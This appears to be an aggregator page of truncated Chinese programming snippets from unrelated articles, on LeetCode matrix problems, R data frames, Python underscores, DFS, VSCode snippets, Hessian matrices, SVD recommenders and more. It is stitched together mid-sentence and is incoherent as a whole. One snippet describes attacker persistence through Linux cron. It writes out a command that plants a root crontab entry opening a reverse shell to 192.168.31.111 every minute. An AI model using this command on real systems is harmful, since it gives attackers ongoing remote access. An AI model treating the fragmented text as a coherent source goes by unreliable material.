By 张旭 CaesarChang 合作 : root121toor@gmail.com 关注我 带你看更多好的技术知识和面试题 给你一个正方形矩阵 mat，请你返回矩阵对角线元素的和...请你返回在矩阵主对角线上的元素和副对角线上且不在主对角线上元素的和。...题解: 只需要注意[i][i ] 然后另一个对角线上慢的[i][n-i-1] 求和 class Solution { public int diagonalSum(int[]
数据框数据框的创建数据框来源主要包括用代码新建(data.frame)，由已有数据转换或处理得到(取子集、运算、合并等操作)，读取表格文件(read.csv,read.table等)及R语言内置数据函数...csv打开会报错，该知识点用于防止部分代码中错误应用csv套用tsv等#文件读写部分(文件位于R_02的Rproject中)#1.读取ex1.txt txt用read.table读，变量名不需要有""，...#ex2 <- read.csv("ex2.csv") #读入该文件后会发现原文件第一列被错误当作数据而非行名，且列名的.变成了-，R语言将列名的特殊字符-转化了，该编号可能与其他数据中编号无法匹配，ex2...默认添加到最后df1$p.value <- c(0.01,0.02,0.07,0.05) df1修改行名和列名rownames(df1) <- c("r1","r2","r3","r4") #修改所有行名...= ls())load(file = "soft.Rdata") #使Rdata中的向量出现在环境内，本身有名称，无需赋值矩阵和列表矩阵矩阵内所有元素数据类型必须相同*警惕因数据类型不同导致矩阵强制转换引起报错
相关系数矩阵（Correlation matrix）是数据分析的基本工具。它们让我们了解不同的变量是如何相互关联的。...在Python中，有很多个方法可以计算相关系数矩阵，今天我们来对这些方法进行一个总结 Pandas Pandas的DataFrame对象可以使用corr方法直接创建相关矩阵。...，在最后我们会有介绍 Numpy Numpy也包含了相关系数矩阵的计算函数，我们可以直接调用，但是因为返回的是ndarray，所以看起来没有pandas那么清晰。...值 如果你正在寻找一个简单的矩阵(带有p值)，这是许多其他工具(SPSS, Stata, R, SAS等)默认做的，那如何在Python中获得呢？...= sns.load_dataset('mpg') result = corr_full(df, rows=['corr', 'p-value']) result 总结 我们介绍了Python创建相关系数矩阵的各种方法
在 Linux 系统中，创建文件是进行各种操作的基础。有时候，我们需要创建带有特殊字符的文件，例如包含空格、特殊符号或非ASCII字符的文件。...本文将详细介绍在 Linux 中如何创建带有特殊字符的文件，以便您能够轻松地完成这样的任务。...步骤一：使用转义字符创建文件在 Linux 中，可以使用转义字符来表示特殊字符。转义字符以反斜杠（\）开头，后面跟着要插入的特殊字符。...步骤二：使用引号创建文件另一种创建带有特殊字符的文件的方法是使用引号。在 Linux 中，可以使用单引号（'）或双引号（"）将带有特殊字符的文件名括起来。...结论通过本文的指导，您已学会在 Linux 中创建带有特殊字符的文件。
Python 中的下划线 下划线在 Python 中是有特殊含义的，它们在 Python 的不同地方使用。 下面是 Python 中使用的不同类型的下划线: ? 1. 单下划线 ?...，用于整数、浮点数和复数等数值中的数字分组。...引用 PEP-8： “ __double_leading_underline：当命名一个 class 属性时，调用名称改写(在类 FooBar 中，__boo 变成 _FooBar__boo)” class...双前缀双后缀下划线 Python 中的特殊方法以双前缀和双后缀下划线命名。它们在 Python 中被称为 magic methods/dunder methods 方法。...例如：__init__,__str__,__repr__,__len__，这些神奇的方法在 Python 中有特殊的意义，我们可以覆盖它们来改变我们的类的特性。
今天向大家分享DFS在矩阵中的代码实现，文字较多，预计阅读时间为5分钟，会涉及很有用的基础算法知识。如果对DFS还不熟悉，可以上B站看看‘正月点灯笼’的视频，讲的很不错。...文字表述核心步骤： 1.求出矩阵的和，如果是奇数不可拆分，输出0.如果是偶数执行步骤2。 2.遍历矩阵中的所有点，对于每个点，得出其坐标(x,y)，并代入步骤3。...if snum + martix[x][y] > t_sum/2: return 'no' 在文字描述中总是在反复执行第3步，使用递归函数可以大大减少代码量。...总而言之，当你在递归函数中无法正常使用append函数时，可以用深拷贝path[:]解决。 2.为什么不直接用return返回的结果，而要用aim_path这个全局数组来存。...在dfs函数内print(path)，看一下结果再结合第2点中那篇文章的知识，大概就能明白了。
一、题目 给你一个大小为 rows * cols 的矩阵 mat，其中 mat[i][j] 是 0 或 1，请返回 矩阵 mat 中特殊位置的数目 。...特殊位置 定义：如果 mat[i][j] == 1 并且第 i 行和第 j 列中的所有其他元素均为 0（行和列的下标均 从 0 开始 ），则位置 (i, j) 被称为特殊位置。...二、示例 2.1> 示例 1： 【输入】mat = [ [1,0,0], [0,0,1], [1,0,0]] 【输出】1 【解释】(1,2) 是一个特殊位置，因为 mat[1][2] == 1 且所处的行和列上所有其他元素都是...mat.length • cols == mat[i].length • 1 <= rows, cols <= 100 • mat[i][j] 是 0 或 1 三、解题思路 根据题目描述，我们首先需要对矩阵...mat进行遍历，来判断哪个位置是“1”，这里，我们创建两个变量，分别是用来记录每行存在“1”的个数——int[] row和每列存在“1”的个数——int[] column；在这两个数组中，row[index
尤其是在R包中编程改变了从ggplot2引用函数的方式，以及在aes()和vars()中使用ggplot2的非标准求值的方式。...有时候在开发R包时为了保证正常运行，不得不将依赖包列入Depdens。...常规任务最佳实践 使用ggplot2可视化一个对象 ggplot2在包中通常用于可视化对象（例如，在一个plot()-风格的函数中）。.../ 234, "r" = 25 / 234 ), class = "discrete_distr" ) R中需要的类都有plot()方法，但想要依赖一个单一的plot()为你的每个用户都提供他们所需要的可视化需求是不现实的...不应该停止你创建自己的函数可视化对象！ 创建一个新的主题 当创建一个新的主题时，从已有主题出发总是好的实践（例如，theme_grey()），然后使用%+replace%替换需要该包的元素。
并且在1.21中完善了windows系统下的extension的bug。...整体看起来效果还是非常不错的，开发者在整体上还是保留了Rstudio和visual studio中对于View()这个函数的配置，还在此基础上添加了search功能，此外对Rshiny可视化的支持也非常棒...▶ pip install radian 四 在R中安装languageserver和jsonlite R LSP client需要借助languageserver实现函数的智能识别，R session...的配置 Path中添加R的执行文件的路径，当然也可以选择radian.exe的路径（该路径存在于python的scripts文件夹中）。...中运行的话，则会出现R session watcher不启用的状况，data和plot的review窗口则会自动调用自身gui所带的review窗口，以在windows中选择radian.exe路径为例
创建自己的Code Snippets在VSCode中 创建Vuejs文件模板代码片段 1. Go to Code → Preferences → User Snippets ?...3.VSCode会创建一个vue.json，开始自定义 * vue.json * { "New File": { "prefix": "template", "body...创建px2rem sass转换函数snippets 1. Go to Code → Preferences → User Snippets 2. 选择新建全局snippets file ? 3....在 中输入prm，就可以看到补全提示 prm->px2rem(参数值) 这里只是一个简单介绍，可以在平时工作中，去多多实践，减少一些无意义的体力活。
import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; //测试执行线程的类...IOException { System.out.println("come in post"); System.out.println("go out post"); } } web.xml中添加
在我们的案例中，我们真正需要的是通过组件prop控制CSS animation/transition。 我们可以通过不在CSS中指定显式的CSS动画持续时间，而是将其作为样式来实现。...如果我们可以在相同的组件中这样做，并公开一个将切换到transition-group实现的group prop，那会怎么样呢?...完整事例地址：https://codesandbox.io/s/pk9r... 文档中介绍了一个带有transition-group元素的警告。...再做一些调整，通过在mixin中提取 JS 逻辑，我们可以将其应用于轻松创建新的transition组件，只需将其放入下一个项目中即可。...我认为它非常方便，可以轻松地在不同的项目中使用。你可以试一试:) 总结 我们从一个基本的过渡示例开始，并最终通过可调整的持续时间和transition-group支持来创建可重用的过渡组件。
本文介绍在Visual Studio软件中配置C++ 环境下线性代数运算库Armadillo的方法。 ...项目的名称与存储位置大家可以自行设定，但存储路径建议选择在某个盘符下的第一个子文件夹中（即路径不要设置的太深即可）。 ...随后，将本文开头我们下载好的Armadillo库的源代码解压到上述新创建项目的存储路径中，如下图所示。...其中，armadillp-11.4.0就是解压后Armadillo库的源代码，其他文件则是刚刚创建的项目的文件。 ...在弹出的窗口中，首先在“VC++”一栏的“包含目录”中，点击下拉箭头并选择“”。 随后，在弹出的窗口中，点击其尾部的省略号。
Hessian矩阵的由来及定义 由高等数学知识可知，若一元函数f(x) 在 ? 点的某个邻域内具有任意阶导数，则 ? 在 ? 点处的泰勒展开式为： ? 其中 ? , ? 二元函数 ? 在 ?...点处的泰勒展开式为： ? 其中 ? 将上述展开式写成矩阵形式，则有： ? 即为 ? 其中： ? ? 是 ? 在 ? 点处的Hessian矩阵。它是由函数 ? 在 ?...4.Hessian矩阵特征值的求解方法 首先回忆本科知识，根据定义求二阶矩阵的特征值： 根据定义，对于矩阵A，它的特征值满足 |λE-A|=0 其中 E是二阶对角阵 （1 0) (0 1) 我们表示A...虽然我们已经得到了Hessian矩阵及其特征值，从图像上已经能够看出增强的效果，但是这还不够。接下来 将求得的特征值带入事先建立好的血管相似性函数中获取在不同尺度下的滤波响应。 ?...四、参考文献： 1.Hessian矩阵以及在图像中的应用 https://blog.csdn.net/lwzkiller/article/details/55050275 2.血管分割技术文献综述 https
在协同过滤推荐算法总结中，我们讲到了用矩阵分解做协同过滤是广泛使用的方法，这里就对矩阵分解在协同过滤推荐算法中的应用做一个总结。(过年前最后一篇！祝大家新年快乐！...矩阵分解用于推荐算法要解决的问题 在推荐系统中，我们常常遇到的问题是这样的，我们有很多用户和物品，也有少部分用户对少部分物品的评分，我们希望预测目标用户对其他未评分物品的评分，进而将评分高的物品推荐给目标用户...传统的奇异值分解SVD用于推荐 说道矩阵分解，我们首先想到的就是奇异值分解SVD。在奇异值分解(SVD)原理与在降维中的应用中，我们对SVD原理做了总结。...当然，在实际应用中，我们为了防止过拟合，会加入一个L2的正则化项，因此正式的FunkSVD的优化目标函数$J(p,q)$是这样的：$$\underbrace{arg\;min}_{p_i,q_j}\;\...FunkSVD算法虽然思想很简单，但是在实际应用中效果非常好，这真是验证了大道至简。 4. BiasSVD算法用于推荐 在FunkSVD算法火爆之后，出现了很多FunkSVD的改进版算法。
概率函数为f(k;r,p)=choose(k+r-1,r-1)*p^r*(1-p)^k, 当r=1时这个特例分布是几何分布 rnbinom(n,size,prob,mu) 其中n是需要产生的随机数个数，...size是概率函数中的r，即连续成功的次数，prob是单词成功的概率，mu未知.....如某一服务设施在一定时间内到达的人数，电话交换机接到呼叫的次数，汽车站台的候客人数，机器出现的故障数，自然灾害发生的次数等等. rpois(n, lambda) dpois(x,lambda) 连续型...mean+3sd)几乎是在肯定的。...Gamma分布中的参数α，称为形状参数（shape parameter），即上式中的s，β称为尺度参数（scale parameter）上式中的a E(x)=s*a, Var(x)=s*a^2.
前面给大家简单介绍了 ☞【R语言】R中的因子（factor） 今天我们来结合具体的例子给大家讲解一下因子在临床分组中的应用。 我们还是以TCGA数据中的CHOL（胆管癌）这套数据为例。...关于这套临床数据的下载可以参考 ☞如何从TCGA数据库下载RNAseq数据以及临床信息(一) 前面我们也给大家介绍过一些处理临床数据的小技巧 ☞【R语言】卡方检验和Fisher精确检验，复现临床paper...☞R生成临床信息统计表 ☞玩转TCGA临床信息 ☞TCGAbiolinks获取癌症临床信息 接下来我们先读入临床数据 #读取临床数据 clin=read.table("clinical.tsv...参考资料： ☞【R语言】R中的因子（factor） ☞如何从TCGA数据库下载RNAseq数据以及临床信息(一) ☞【R语言】卡方检验和Fisher精确检验，复现临床paper ☞R生成临床信息统计表...☞玩转TCGA临床信息 ☞TCGAbiolinks获取癌症临床信息 ☞肿瘤TNM分期 ☞R替换函数gsub
Linux中的计划任务可以让系统周期性地运行所指定的程序或命令，攻击者可以利用这个特性让系统周期性运行恶意程序或者命令。计划任务具体使用方法参考前文，这里只讲述攻击者如何利用该技术进行权限维持。...然后，使用命令crontab -l来查看当前用户在系统中创建的计划任务，执行结果如图1-2所示。...在Linux中“万物皆文件”，crontab -l命令实际上是调用“cat /var/spool/cron/crontabs/当前登录用户的用户名”。...那么攻击者可以执行命令echo "*/1 * * * * bash -i >& /dev/tcp/192.168.31.111/10029 0>&1" > /var/spool/cron/crontabs/root，在计划任务中写入一个每分钟建立回连会话的语句..."123\r" > 1.txt，执行完成后使用cat命令读取该文件，如图1-5所示，可以看到无法读取123，只有Vim才可以看见文件的内容，如图1-6所示。
在本教程中，我们将建立一个可缩放、可平移的图像视图来实现这一功能。 计划 他们说，一张图片胜过千言万语--但它不一定要花上一千行代码！对于我们的可缩放图像视图，我们要做的是让它成为一个可缩放的视图。...medium.com/media/afad3… 在commonInit()中，我们将图像视图居中，并设置它的高度和宽度，而不是把它固定在父视图上。这样一来，滚动视图就会从图像视图中获得其内容大小。...设置滚动视图 我们需要实际设置我们的滚动视图，使其可缩放和可平移。这包括设置最小和最大的缩放级别，以及指定用户放大时使用的UIView（在我们的例子中，它将是图像视图）。...我们将通过在我们的类中添加imageName字符串，并在字符串改变时更新UIImageView来实现。...让我们给我们的类添加另一个初始化器，这样我们就可以在代码中设置图像名称。 medium.com/media/074d4… 就这样了!现在我们可以像这样通过图片名称以编程方式初始化我们的视图了。
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